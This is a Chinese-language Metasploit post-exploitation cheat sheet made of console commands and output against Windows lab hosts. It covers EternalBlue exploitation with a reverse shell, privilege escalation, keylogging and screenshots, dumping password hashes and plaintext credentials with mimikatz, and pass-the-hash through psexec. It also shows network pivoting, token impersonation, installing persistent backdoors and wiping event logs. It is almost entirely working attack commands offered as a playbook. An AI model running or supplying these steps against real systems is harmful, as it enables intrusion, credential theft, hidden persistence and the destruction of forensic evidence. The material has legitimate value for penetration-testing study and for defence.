Computer : SD-201807251135 OS : Windows 7 (Build 7601, Service Pack 1). Architecture : x64 System Language : zh_CN Domain : WorkGroup Logged On Users : 1 Meterpreter : x64/windows
利用过程：
1 2 3 4 5 6 7
use exploit/windows/smb/ms17_010_eternalblue set rhost 192.168.2.113 set lhost 192.168.2.48 set payload windows/x64/meterpreter/reverse_tcp run
[!] Meterpreter scripts are deprecated. Try post/windows/manage/enable_rdp. [!] Example: run post/windows/manage/enable_rdp OPTION=value [...] [*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator [*] Carlos Perez carlos_perez@darkoperator.com [*] Setting user account for logon [*] Adding User: haha with Password: password [*] For cleanup use command: run multi_console_command -r /root/.msf4/logs/scripts/getgui/clean_up__20180319.1815.rc
meterpreter > run multi_console_command -r /root/.msf4/logs/scripts/getgui/clean_up__20180319.1815.rc
getsystem 大部分都会失败 他只尝试了4个Payload。 meterpreter > getuid Server username: Testing\Croxy
meterpreter > getsystem [-] priv_elevate_getsystem: Operation failed: Access is denied.
使用MS14-058之类的Exp进行提权,利用windows提权漏洞进行提升 meterpreter > background [*] Backgrounding session 3.. msf exploit(handler) > use exploit/windows/local/ms14_058_track_popup_menu msf exploit(ms14_058_track_popup_menu) > set SESSION 3
获取敏感信息
1 2 3 4 5 6 7
run post/windows/gather/checkvm #是否虚拟机 run post/windows/gather/enum_applications #获取安装软件信息 run post/windows/gather/dumplinks #获取最近的文件操作 run post/windows/gather/enum_ie #获取IE缓存 run post/windows/gather/enum_chrome #获取Chrome缓存 run scraper #获取常见信息 #保存在～/.msf4/logs/scripts/scraper/目录下
键盘记录
1 2 3 4 5 6 7
meterpreter > keyscan_start Starting the keystroke sniffer... meterpreter > keyscan_dump Dumping captured keystrokes... dir <Return> cd <Ctrl> <LCtrl> meterpreter > keyscan_stop Stopping the keystroke sniffer...
截屏
1 2 3 4 5 6
eterpreter > use espia Loading extension espia...Success. meterpreter > screen screengrab screenshot meterpreter > screengrab Screenshot saved to: /home/daiker/zQBKZbTv.jpeg
[+] FOUND Domain: test [+] FOUND Domain Controller: WIN-JDS94C5QEQQ (IP: 127.0.0.1) [*] Post module execution completed msf post(windows/gather/enum_domain) > exploit
[+] FOUND Domain: test [+] FOUND Domain Controller: WIN-JDS94C5QEQQ (IP: 127.0.0.1) [*] Post module execution completed
-d <opt> The data to store in the registry value. -h Help menu. -k <opt> The registry key path (E.g. HKLM\Software\Foo). -r <opt> The remote machine name to connect to (with current process credentials -t <opt> The registry value type (E.g. REG_SZ). -v <opt> The registry value name (E.g. Stuff). -w Set KEY_WOW64 flag, valid values [32|64]. COMMANDS:
enumkey Enumerate the supplied registry key [-k <key>] createkey Create the supplied registry key [-k <key>] deletekey Delete the supplied registry key [-k <key>] queryclass Queries the class of the supplied key [-k <key>] setval Set a registry value [-k <key> -v <val> -d <data>] deleteval Delete the supplied registry value [-k <key> -v <val>] queryval Queries the data contents of a value [-k <key> -v <val>]
meterpreter > run post/windows/gather/smart_hashdump [*] Running module against TESTING [*] Hashes will be saved to the database if one is connected. [*] Hashes will be saved in loot in JtR password file format to: [*] /home/croxy/.msf4/loot/20150929225044_default_10.0.2.15_windows.hashes_407551.txt [*] Dumping password hashes... [*] Running as SYSTEM extracting hashes from registry [*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY 8c2c8d96e92a8ccfc407a1ca48531239... [*] Obtaining the user list and keys... [*] Decrypting user keys... [*] Dumping password hints... [+] Croxy:"Whoareyou" [*] Dumping password hashes... [+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [+] HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:e3f0347f8b369cac49e62a18e34834c0::: [+] test123:1003:aad3b435b51404eeaad3b435b51404ee:0687211d2894295829686a18ae83c56d:::
meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > load mimikatz Loading extension mimikatz...success.
meterpreter > msv [+] Running as SYSTEM [*] Retrieving msv credentials
# 直接取到明文密码 meterpreter > wdigest [!] Not currently running as SYSTEM [*] Attempting to getprivs [+] Got SeDebugPrivilege [*] Retrieving wdigest credentials wdigest credentials ===================
# 直接取到明文密码 meterpreter > kerberos [+] Running as SYSTEM [*] Retrieving kerberos credentials kerberos credentials ====================
msf > use exploit/windows/smb/psexec msf exploit(psexec) > show options Module options (exploit/windows/smb/psexec): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SHARE ADMIN$ yes The share to connect to, can be an admi n share (ADMIN$,C$,...) or a normal read/write folder share SMBDomain WORKGROUP no The Windows domain to use for authentic ation SMBPass no The password for the specified username SMBUser no The username to authenticate as Exploit target: Id Name -- ---- 0 Automatic msf exploit(psexec) > set RHOST 192.168.0.254 RHOST => 192.168.0.254 msf exploit(psexec) > set SMBUser isosky SMBUser => isosky msf exploit(psexec) > set SMBPass 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537 SMBPass => 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537 msf exploit(psexec) > exploit [*] Started reverse handler on 192.168.0.3:4444 [*] Connecting to the server... [*] Authenticating to 192.168.0.254:445|WORKGROUP as user 'isosky'... [*] Uploading payload... [*] Created \UGdecsam.exe... [*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.254[\svcctl] ... [*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.254[\svcctl] ... [*] Obtaining a service manager handle... [*] Creating a new service (MZsCnzjn - "MrZdoQwIlbBIYZQJyumxYX")... [*] Closing service handle... [*] Opening service... [*] Starting the service... [*] Removing the service... [*] Closing service handle... [*] Deleting \UGdecsam.exe... [*] Sending stage (749056 bytes) to 192.168.0.254 [*] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.254:1877)
meterpreter > run autoroute -s 10.42.0`.54 [*] Adding a route to 10.42.0.54/255.255.255.0... [+] Added route to 10.42.0.54/255.255.255.0 via 10.42.0.54 [*] Use the -p option to list all active routes meterpreter > background [*] Backgrounding session 1... msf exploit(handler) > use auxiliary/server/socks4a msf auxiliary(socks4a) > show options Module options (auxiliary/server/socks4a): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The address to listen on SRVPORT 1080 yes The port to listen on. Auxiliary action: Name Description ---- ----------- Proxy msf auxiliary(socks4a) > route print Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 10.42.0.54 255.255.255.0 Session 1 msf auxiliary(socks4a) > ifconfig [*] exec: ifconfig msf auxiliary(socks4a) > set SRVHOST xxx.xxx.xx.xx SRVHOST => xxx.xxx.xx.xx (xxx.xxx.xx.xx为自己运行msf的vps机子) msf auxiliary(socks4a) > exploit [*] Auxiliary module execution completed [*] Starting the socks4a proxy server
msf > load meta_ssh msf > use multi/ssh/login_password msf > set RHOST 192.168.56.3 RHOST => 192.168.56.3 msf > set USER test USER => test msf > set PASS reverse PASS => reverse msf > set PAYLOAD ssh/metassh_session PAYLOAD => ssh/metassh_session msf > exploit -z [*] Connecting to dsl@192.168.56.3:22 with password reverse [*] metaSSH session 1 opened (127.0.0.1 -> 192.168.56.3:22) at 2011-12-28 03:51:16 +1300 [*] Session 1 created in the background. msf > route add 192.168.57.0 255.255.255.0 1
meterpreter > list_tokens -u Delegation Tokens Available ======================================== IIS APPPOOL\zyk NT AUTHORITY\IUSR NT AUTHORITY\LOCAL SERVICE NT AUTHORITY\NETWORK SERVICE NT AUTHORITY\SYSTEM QLWEB\Administrator Impersonation Tokens Available ======================================== NT AUTHORITY\ANONYMOUS LOGON meterpreter > impersonate_token QLWEB\\Administrator [+] Delegation token available [+] Successfully impersonated user QLWEB\Administrator
meterpreter > getuid Server username: QLWEB\Administrator
[*] Running Persistance Script [*] Resource file for cleanup created at /home/croxy/.msf4/logs/persistence/TESTING_20150930.3914/TESTING_20150930.3914.rc [*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=10.42.0.1 LPORT=23333 [*] Persistent agent script is 148453 bytes long [+] Persistent Script written to C:\Users\Croxy\AppData\Local\Temp\ulZpjVBN.vbs [*] Executing script C:\Users\Croxy\AppData\Local\Temp\ulZpjVBN.vbs [+] Agent executed with PID 4140 [*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\okiASNRzcLenulr [+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\okiASNRzcLenulr 会留一个后门，并添加进启动项
Metsvc(通过服务安装)
Meterpreter服务后门
之后电脑就默默生成了一个自启服务meterpreter；
1 2 3 4 5 6 7 8 9 10
meterpreter > run metsvc [*] Creating a meterpreter service on port 31337 [*] Creating a temporary installation directory C:\Users\Croxy\AppData\Local\Temp\tuIKWqmuO... [*] >> Uploading metsrv.x86.dll... [*] >> Uploading metsvc-server.exe... [*] >> Uploading metsvc.exe... [*] Starting the service... * Installing service metsvc * Starting service * Service metsvc successfully installed.
连接Metsvc后门
1 2 3 4 5 6 7 8 9 10 11
msf exploit(handler) > use exploit/multi/handler msf exploit(handler) > set payload windows/metsvc_bind_tcp payload => windows/metsvc_bind_tcp msf exploit(handler) > set RHOST 10.42.0.54 RHOST => 10.42.0.54 msf exploit(handler) > set LPORT 31337 LPORT => 31337 msf exploit(handler) > exploit [*] Started bind handler [*] 10.42.0.54 - Meterpreter session 6 closed. Reason: Died [*] Meterpreter session 6 opened (127.0.0.1 -> 127.0.0.1) at 2018-03-19 21:37:23 +0800
清理痕迹
1 2 3 4 5 6
meterpreter > clearev [*] Wiping 12348 records from Application... [*] Wiping 1345 records from System... [*] Wiping 3 records from Security... meterpreter > timestomp